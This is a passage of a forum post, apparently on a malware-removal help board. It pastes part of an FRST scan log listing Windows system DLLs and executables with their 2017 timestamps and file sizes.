2017-03-18 22:58 - 2017-03-18 22:58 - 00323424 _____ (Microsoft Corporation) C:\windows\SysWOW64\wlanapi.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00323072 _____ (Microsoft Corporation) C:\windows\SysWOW64\SearchFolder.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00322560 _____ (Microsoft Corporation) C:\windows\system32\eapp3hst.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00321384 _____ (Microsoft Corporation) C:\windows\system32\capauthz.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00320512 _____ (Microsoft Corporation) C:\windows\system32\usbmon.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00319808 _____ (Microsoft Corporation) C:\windows\SysWOW64\BCP47Langs.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00319488 _____ (Microsoft Corporation) C:\windows\SysWOW64\msrd2x40.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00318976 _____ (Microsoft Corporation) C:\windows\system32\ActionCenter.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00318232 _____ (Microsoft Corporation) C:\windows\system32\wininit.exe
2017-03-18 22:58 - 2017-03-18 22:58 - 00317952 _____ (Microsoft Corporation) C:\windows\system32\msieftp.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00317440 _____ (Microsoft Corporation) C:\windows\SysWOW64\Display.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00316928 _____ (Microsoft Corporation) C:\windows\system32\deviceaccess.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00316416 _____ (Microsoft Corporation) C:\windows\SysWOW64\PhoneOm.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00316416 _____ (Microsoft Corporation) C:\windows\SysWOW64\msihnd.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00316416 _____ (Microsoft Corporation) C:\windows\system32\ncryptprov.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00315904 _____ (Microsoft Corporation) C:\windows\SysWOW64\odbcjt32.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00315904 _____ (Microsoft Corporation) C:\windows\system32\BioCredProv.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00315392 _____ (Microsoft Corporation) C:\windows\SysWOW64\netcorehc.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00314880 _____ (Microsoft Corporation) C:\windows\system32\sti.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00314368 _____ (Microsoft Corporation) C:\windows\system32\SyncSettings.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00312832 _____ (Microsoft Corporation) C:\windows\SysWOW64\Windows.Networking.Proximity.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00312320 _____ (Microsoft Corporation) C:\windows\SysWOW64\SearchProtocolHost.exe
2017-03-18 22:58 - 2017-03-18 22:58 - 00312320 _____ (Microsoft Corporation) C:\windows\SysWOW64\cttune.exe
2017-03-18 22:58 - 2017-03-18 22:58 - 00312320 _____ (Microsoft Corporation) C:\windows\system32\Phoneutil.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00311808 _____ (Microsoft Corporation) C:\windows\SysWOW64\Wldap32.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00311808 _____ (Microsoft Corporation) C:\windows\SysWOW64\Windows.ApplicationModel.LockScreen.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00311808 _____ (Microsoft Corporation) C:\windows\SysWOW64\LocationApi.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00311296 _____ (Microsoft Corporation) C:\windows\SysWOW64\d3d10core.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00311296 _____ (Microsoft Corporation) C:\windows\system32\DeviceDirectoryClient.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00310784 _____ (Microsoft Corporation) C:\windows\system32\wifiprofilessettinghandler.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00310272 _____ (Microsoft Corporation) C:\windows\SysWOW64\ntprint.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00309248 _____ (Microsoft Corporation) C:\windows\system32\compstui.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00308736 _____ (Microsoft Corporation) C:\windows\SysWOW64\TaskApis.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00308736 _____ (Microsoft Corporation) C:\windows\system32\d3d10core.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00308224 _____ (Microsoft Corporation) C:\windows\SysWOW64\sysdm.cpl
2017-03-18 22:58 - 2017-03-18 22:58 - 00308224 _____ (Microsoft Corporation) C:\windows\system32\ExecModelClient.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00307712 _____ (Microsoft Corporation) C:\windows\system32\Windows.ApplicationModel.Store.TestingFramework.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00307200 _____ C:\windows\SysWOW64\ssdm.dll

Twix. 06.06.2017 11:43
FRST5:
Code:
2017-03-18 22:58 - 2017-03-18 22:58 - 00307200 _____ (Microsoft Corporation) C:\windows\SysWOW64\ninput.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00306688 _____ (Microsoft Corporation) C:\windows\SysWOW64\Windows.Graphics.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00306688 _____ (Microsoft Corporation) C:\windows\SysWOW64\Windows.Gaming.XboxLive.Storage.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00306688 _____ (Microsoft Corporation) C:\windows\system32\tapisrv.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00306176 _____ (Microsoft Corporation) C:\windows\SysWOW64\Windows.Devices.Usb.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00306176 _____ (Microsoft Corporation) C:\windows\SysWOW64\esentutl.exe
2017-03-18 22:58 - 2017-03-18 22:58 - 00305664 _____ (Microsoft Corporation) C:\windows\SysWOW64\cryptngc.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00305568 _____ (Microsoft Corporation) C:\windows\SysWOW64\mswsock.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00305152 _____ (Microsoft Corporation) C:\windows\SysWOW64\eudcedit.exe
2017-03-18 22:58 - 2017-03-18 22:58 - 00305152 _____ (Microsoft Corporation) C:\windows\system32\dafWfdProvider.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00304128 _____ (Microsoft Corporation) C:\windows\SysWOW64\wusa.exe
2017-03-18 22:58 - 2017-03-18 22:58 - 00304128 _____ (Microsoft Corporation) C:\windows\SysWOW64\dhcpcore.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00304128 _____ (Microsoft Corporation) C:\windows\system32\PrintDialogs3D.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00303616 _____ (Microsoft Corporation) C:\windows\system32\srvsvc.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00303104 _____ (Microsoft Corporation) C:\windows\SysWOW64\WinSATAPI.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00302592 _____ (Microsoft Corporation) C:\windows\system32\wpr.exe
2017-03-18 22:58 - 2017-03-18 22:58 - 00302592 _____ (Microsoft Corporation) C:\windows\system32\dusmsvc.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00302080 _____ (Microsoft Corporation) C:\windows\SysWOW64\rasmontr.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00301568 _____ (Microsoft Corporation) C:\windows\SysWOW64\regedit.exe
2017-03-18 22:58 - 2017-03-18 22:58 - 00301216 _____ (Microsoft Corporation) C:\windows\system32\xbgmsvc.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00301056 _____ (Microsoft Corporation) C:\windows\SysWOW64\AuthFWGP.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00300544 _____ (Microsoft Corporation) C:\windows\system32\systemcpl.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00299520 _____ (Microsoft Corporation) C:\windows\system32\ProximityService.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00299520 _____ (Microsoft Corporation) C:\windows\system32\DiagnosticLogCSP.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00299008 _____ (Microsoft Corporation) C:\windows\SysWOW64\mmcbase.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00298496 _____ (Microsoft Corporation) C:\windows\system32\SettingsHandlers_WorkAccess.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00297984 _____ (Microsoft Corporation) C:\windows\SysWOW64\mcbuilder.exe
2017-03-18 22:58 - 2017-03-18 22:58 - 00297984 _____ (Microsoft Corporation) C:\windows\system32\pdh.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00297984 _____ (Microsoft Corporation) C:\windows\system32\eapphost.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00297472 _____ (Microsoft Corporation) C:\windows\SysWOW64\polstore.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00297472 _____ (Microsoft Corporation) C:\windows\SysWOW64\HrtfApo.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00297064 _____ (Microsoft Corporation) C:\windows\SysWOW64\Windows.Media.MediaControl.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00296448 _____ (Microsoft Corporation) C:\windows\SysWOW64\qdv.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00296448 _____ (Microsoft Corporation) C:\windows\system32\Windows.Cortana.OneCore.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00295936 _____ (Microsoft Corporation) C:\windows\system32\DeveloperOptionsSettingsHandlers.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00294504 _____ (Microsoft Corporation) C:\windows\SysWOW64\wevtapi.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00294400 _____ (Microsoft Corporation) C:\windows\SysWOW64\CryptoWinRT.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00293888 _____ (Microsoft Corporation) C:\windows\SysWOW64\RADCUI.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00293888 _____ (Microsoft Corporation) C:\windows\SysWOW64\BcastDVRBroker.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00293888 _____ (Microsoft Corporation) C:\windows\system32\mscandui.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00293376 _____ (Microsoft Corporation) C:\windows\SysWOW64\win32k.sys
2017-03-18 22:58 - 2017-03-18 22:58 - 00292352 _____ (Microsoft Corporation) C:\windows\SysWOW64\adsnt.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00292352 _____ (Microsoft Corporation) C:\windows\system32\wlancfg.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00290816 _____ (Microsoft Corporation) C:\windows\SysWOW64\msjtes40.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00290816 _____ (Microsoft Corporation) C:\windows\system32\omadmclient.exe
2017-03-18 22:58 - 2017-03-18 22:58 - 00290808 _____ (Microsoft Corporation) C:\windows\SysWOW64\MrmDeploy.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00290368 _____ (Microsoft Corporation) C:\windows\system32\biwinrt.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00290304 _____ (Microsoft Corporation) C:\windows\SysWOW64\CertEnrollUI.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00290304 _____ (Microsoft Corporation) C:\windows\system32\dmenterprisediagnostics.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00290208 _____ (Microsoft Corporation) C:\windows\system32\SystemSettings.DataModel.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00289792 _____ (Microsoft Corporation) C:\windows\system32\scansetting.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00289792 _____ (Microsoft Corporation) C:\windows\system32\netplwiz.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00288768 _____ (Microsoft Corporation) C:\windows\SysWOW64\dot3ui.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00288768 _____ (Microsoft Corporation) C:\windows\SysWOW64\compstui.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00287744 _____ (Microsoft Corporation) C:\windows\SysWOW64\systemcpl.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00287264 _____ (Microsoft Corporation) C:\windows\system32\cfgmgr32.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00287232 _____ (Microsoft Corporation) C:\windows\system32\fdprint.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00286720 _____ (Microsoft Corporation) C:\windows\SysWOW64\Search.ProtocolHandler.MAPI2.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00286208 _____ (Microsoft Corporation) C:\windows\SysWOW64\diskraid.exe
2017-03-18 22:58 - 2017-03-18 22:58 - 00285696 _____ (Microsoft Corporation) C:\windows\SysWOW64\msieftp.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00285184 _____ (Microsoft Corporation) C:\windows\SysWOW64\FWPUCLNT.DLL
2017-03-18 22:58 - 2017-03-18 22:58 - 00285184 _____ (Microsoft Corporation) C:\windows\system32\QuickActionsDataModel.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00284672 _____ (Microsoft Corporation) C:\windows\SysWOW64\wincorlib.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00282624 _____ (Microsoft Corporation) C:\windows\SysWOW64\mstext40.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00280576 _____ (Microsoft Corporation) C:\windows\SysWOW64\EaseOfAccessDialog.exe
2017-03-18 22:58 - 2017-03-18 22:58 - 00280480 _____ (Microsoft Corporation) C:\windows\SysWOW64\WerFault.exe
2017-03-18 22:58 - 2017-03-18 22:58 - 00280064 _____ (Microsoft Corporation) C:\windows\system32\oemlicense.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00279040 _____ (Microsoft Corporation) C:\windows\system32\WsmWmiPl.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00278944 _____ (Microsoft Corporation) C:\windows\SysWOW64\thumbcache.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00278944 _____ (Microsoft Corporation) C:\windows\SysWOW64\input.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00278016 _____ (Microsoft Corporation) C:\windows\SysWOW64\NotificationObjFactory.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00277504 _____ (Microsoft Corporation) C:\windows\system32\Windows.Devices.HumanInterfaceDevice.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00277432 _____ (Microsoft Corporation) C:\windows\SysWOW64\shlwapi.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00276992 _____ (Microsoft Corporation) C:\windows\system32\DataExchange.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00276880 _____ (Microsoft Corporation) C:\windows\SysWOW64\wintrust.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00276480 _____ (Microsoft Corporation) C:\windows\system32\wpnservice.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00276400 _____ (Microsoft Corporation) C:\windows\SysWOW64\powrprof.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00274432 _____ (Microsoft Corporation) C:\windows\system32\authz.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00273920 _____ (Microsoft Corporation) C:\windows\system32\accountaccessor.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00272896 _____ (Microsoft Corporation) C:\windows\system32\SettingsHandlers_Gaming.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00272384 _____ (Microsoft Corporation) C:\windows\system32\wkssvc.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00271872 _____ (Microsoft Corporation) C:\windows\system32\Windows.UI.CredDialogController.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00271872 _____ (Microsoft Corporation) C:\windows\system32\Windows.Security.Authentication.Identity.Provider.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00269824 _____ (Microsoft Corporation) C:\windows\system32\MicrosoftAccountCloudAP.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00268288 _____ (Microsoft Corporation) C:\windows\SysWOW64\DaOtpCredentialProvider.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00267776 _____ (Microsoft Corporation) C:\windows\system32\WwaApi.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00267264 _____ (Microsoft Corporation) C:\windows\SysWOW64\ncryptprov.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00267264 _____ (Microsoft Corporation) C:\windows\system32\SettingsHandlers_Maps.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00267112 _____ (Microsoft Corporation) C:\windows\SysWOW64\Windows.Storage.ApplicationData.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00266752 _____ (Microsoft Corporation) C:\windows\SysWOW64\PickerPlatform.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00266640 _____ (Microsoft Corporation) C:\windows\SysWOW64\capauthz.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00266600 _____ (Microsoft Corporation) C:\windows\system32\wkspbroker.exe
2017-03-18 22:58 - 2017-03-18 22:58 - 00266240 _____ (Microsoft Corporation) C:\windows\SysWOW64\ActionCenter.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00266240 _____ (Microsoft Corporation) C:\windows\system32\offfilt.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00265216 _____ (Microsoft Corporation) C:\windows\system32\windows.internal.shellcommon.shareexperience.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00264544 _____ (Microsoft Corporation) C:\windows\system32\LsaIso.exe
2017-03-18 22:58 - 2017-03-18 22:58 - 00263584 _____ (Microsoft Corporation) C:\windows\system32\Drivers\ufx01000.sys
2017-03-18 22:58 - 2017-03-18 22:58 - 00263168 _____ (Microsoft Corporation) C:\windows\SysWOW64\raschapext.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00261632 _____ (Microsoft Corporation) C:\windows\SysWOW64\sethc.exe
2017-03-18 22:58 - 2017-03-18 22:58 - 00261120 _____ (Microsoft Corporation) C:\windows\SysWOW64\pdh.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00260608 _____ (Microsoft Corporation) C:\windows\SysWOW64\NmaDirect.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00260096 _____ (Microsoft Corporation) C:\windows\SysWOW64\actxprxy.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00260096 _____ (Microsoft Corporation) C:\windows\system32\dafpos.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00259584 _____ (Microsoft Corporation) C:\windows\SysWOW64\deviceaccess.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00258560 _____ (Microsoft Corporation) C:\windows\system32\SettingsHandlers_Flights.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00257792 _____ (Microsoft Corporation) C:\windows\SysWOW64\sechost.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00257024 _____ (Microsoft Corporation) C:\windows\SysWOW64\Phoneutil.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00256512 _____ (Microsoft Corporation) C:\windows\system32\ExSMime.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00255488 _____ (Microsoft Corporation) C:\windows\SysWOW64\msdtcuiu.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00254720 _____ (Microsoft Corporation) C:\windows\SysWOW64\winsta.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00254464 _____ (Microsoft Corporation) C:\windows\SysWOW64\DataExchange.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00254464 _____ (Microsoft Corporation) C:\windows\system32\Family.SyncEngine.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00253952 _____ (Microsoft Corporation) C:\windows\SysWOW64\unimdm.tsp
2017-03-18 22:58 - 2017-03-18 22:58 - 00253952 _____ (Microsoft Corporation) C:\windows\SysWOW64\msvcrt20.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00253952 _____ (Microsoft Corporation) C:\windows\SysWOW64\fdprint.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00253952 _____ (Microsoft Corporation) C:\windows\system32\wavemsp.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00253440 _____ (Microsoft Corporation) C:\windows\system32\prnntfy.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00253440 _____ (Microsoft Corporation) C:\windows\system32\edputil.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00252928 _____ (Microsoft Corporation) C:\windows\system32\rastapi.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00252416 _____ (Microsoft Corporation) C:\windows\SysWOW64\tapisrv.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00250880 _____ (Microsoft Corporation) C:\windows\SysWOW64\BioCredProv.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00249856 _____ (Microsoft Corporation) C:\windows\system32\HNetCfgClient.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00249344 _____ (Microsoft Corporation) C:\windows\system32\coredpus.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00248832 _____ (Microsoft Corporation) C:\windows\SysWOW64\scansetting.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00248832 _____ (Microsoft Corporation) C:\windows\SysWOW64\ExecModelClient.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00248832 _____ (Microsoft Corporation) C:\windows\system32\DAFWSD.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00248536 _____ (Microsoft Corporation) C:\windows\SysWOW64\biwinrt.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00248320 _____ (Microsoft Corporation) C:\windows\SysWOW64\winsku.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00247808 _____ (Microsoft Corporation) C:\windows\SysWOW64\AboveLockAppHost.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00247808 _____ (Microsoft Corporation) C:\windows\system32\bthprops.cpl
2017-03-18 22:58 - 2017-03-18 22:58 - 00247712 _____ (Microsoft Corporation) C:\windows\system32\offlinesam.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00247480 _____ (Microsoft Corporation) C:\windows\system32\logoncli.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00247296 _____ (Microsoft Corporation) C:\windows\SysWOW64\ndfapi.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00247296 _____ (Microsoft Corporation) C:\windows\system32\CortanaMapiHelper.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00246784 _____ (Microsoft Corporation) C:\windows\system32\notepad.exe
2017-03-18 22:58 - 2017-03-18 22:58 - 00246784 _____ (Microsoft Corporation) C:\windows\notepad.exe
2017-03-18 22:58 - 2017-03-18 22:58 - 00246272 _____ (Microsoft Corporation) C:\windows\system32\cemapi.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00245248 _____ (Microsoft Corporation) C:\windows\SysWOW64\mscandui.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00244736 _____ (Microsoft Corporation) C:\windows\SysWOW64\wlancfg.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00244736 _____ (Microsoft Corporation) C:\windows\system32\credprovhost.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00244224 _____ (Microsoft Corporation) C:\windows\system32\MicrosoftAccountExtension.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00244224 _____ (Microsoft Corporation) C:\windows\system32\CXHProvisioningServer.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00243712 _____ (Microsoft Corporation) C:\windows\SysWOW64\Windows.ApplicationModel.Store.TestingFramework.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00243712 _____ (Microsoft Corporation) C:\windows\system32\shdocvw.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00242688 _____ (Microsoft Corporation) C:\windows\SysWOW64\rastapi.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00242688 _____ (Microsoft Corporation) C:\windows\system32\ProvisioningHandlers.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00242176 _____ (Microsoft Corporation) C:\windows\SysWOW64\dhcpcore6.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00241664 _____ (Microsoft Corporation) C:\windows\SysWOW64\msltus40.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00241152 _____ (Microsoft Corporation) C:\windows\SysWOW64\WindowsCodecsExt.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00241152 _____ (Microsoft Corporation) C:\windows\system32\TtlsAuth.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00241152 _____ (Microsoft Corporation) C:\windows\system32\eappcfg.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00240640 _____ (Microsoft Corporation) C:\windows\SysWOW64\dot3gpui.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00240640 _____ (Microsoft Corporation) C:\windows\SysWOW64\BcastDVRClient.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00240640 _____ (Microsoft Corporation) C:\windows\system32\PhoneCallHistoryApis.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00239616 _____ (Microsoft Corporation) C:\windows\system32\ssdpsrv.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00239104 _____ (Microsoft Corporation) C:\windows\SysWOW64\SyncSettings.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00239104 _____ (Microsoft Corporation) C:\windows\SysWOW64\qwave.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00239104 _____ (Microsoft Corporation) C:\windows\system32\TetheringStation.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00238592 _____ (Microsoft Corporation) C:\windows\SysWOW64\eapp3hst.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00237056 _____ (Microsoft Corporation) C:\windows\SysWOW64\framedynos.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00236544 _____ (Microsoft Corporation) C:\windows\SysWOW64\UIAnimation.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00236544 _____ (Microsoft Corporation) C:\windows\system32\onex.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00236032 _____ (Microsoft Corporation) C:\windows\SysWOW64\notepad.exe
2017-03-18 22:58 - 2017-03-18 22:58 - 00236032 _____ (Microsoft Corporation) C:\windows\system32\SettingsHandlers_SignInOptions.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00233984 _____ (Microsoft Corporation) C:\windows\system32\pku2u.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00233984 _____ (Microsoft Corporation) C:\windows\system32\KnobsCore.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00233984 _____ (Microsoft Corporation) C:\windows\system32\DeviceSetupManager.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00233472 _____ (Microsoft Corporation) C:\windows\SysWOW64\mycomput.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00233472 _____ (Microsoft Corporation) C:\windows\system32\ApproveChildRequest.exe
2017-03-18 22:58 - 2017-03-18 22:58 - 00233376 _____ (Microsoft Corporation) C:\windows\system32\aepic.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00232960 _____ (Microsoft Corporation) C:\windows\SysWOW64\WsmWmiPl.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00232448 _____ (Microsoft Corporation) C:\windows\SysWOW64\AppLockerCSP.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00232448 _____ (Microsoft Corporation) C:\windows\system32\tapi32.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00231936 _____ (Microsoft Corporation) C:\windows\SysWOW64\sti.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00231936 _____ (Microsoft Corporation) C:\windows\SysWOW64\cmd.exe
2017-03-18 22:58 - 2017-03-18 22:58 - 00230912 _____ (Microsoft Corporation) C:\windows\SysWOW64\SpatializerApo.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00230912 _____ (Microsoft Corporation) C:\windows\SysWOW64\edputil.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00230400 _____ (Microsoft Corporation) C:\windows\SysWOW64\icm32.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00229888 _____ (Microsoft Corporation) C:\windows\SysWOW64\mintdh.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00229888 _____ (Microsoft Corporation) C:\windows\SysWOW64\eapphost.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00229376 _____ (Microsoft Corporation) C:\windows\SysWOW64\ksproxy.ax
2017-03-18 22:58 - 2017-03-18 22:58 - 00229376 _____ (Microsoft Corporation) C:\windows\SysWOW64\comsnap.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00229376 _____ (Microsoft Corporation) C:\windows\system32\SIHClient.exe
2017-03-18 22:58 - 2017-03-18 22:58 - 00228864 _____ (Microsoft Corporation) C:\windows\system32\ssText3d.scr
2017-03-18 22:58 - 2017-03-18 22:58 - 00228864 _____ (Microsoft Corporation) C:\windows\system32\provops.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00228352 _____ (Microsoft Corporation) C:\windows\system32\VPNv2CSP.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00228352 _____ (Microsoft Corporation) C:\windows\system32\pnputil.exe
2017-03-18 22:58 - 2017-03-18 22:58 - 00228256 _____ (Microsoft Corporation) C:\windows\system32\Drivers\mrxsmb20.sys
2017-03-18 22:58 - 2017-03-18 22:58 - 00227840 _____ (Microsoft Corporation) C:\windows\system32\WinSyncMetastore.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00227328 _____ (Microsoft Corporation) C:\windows\SysWOW64\wavemsp.dll
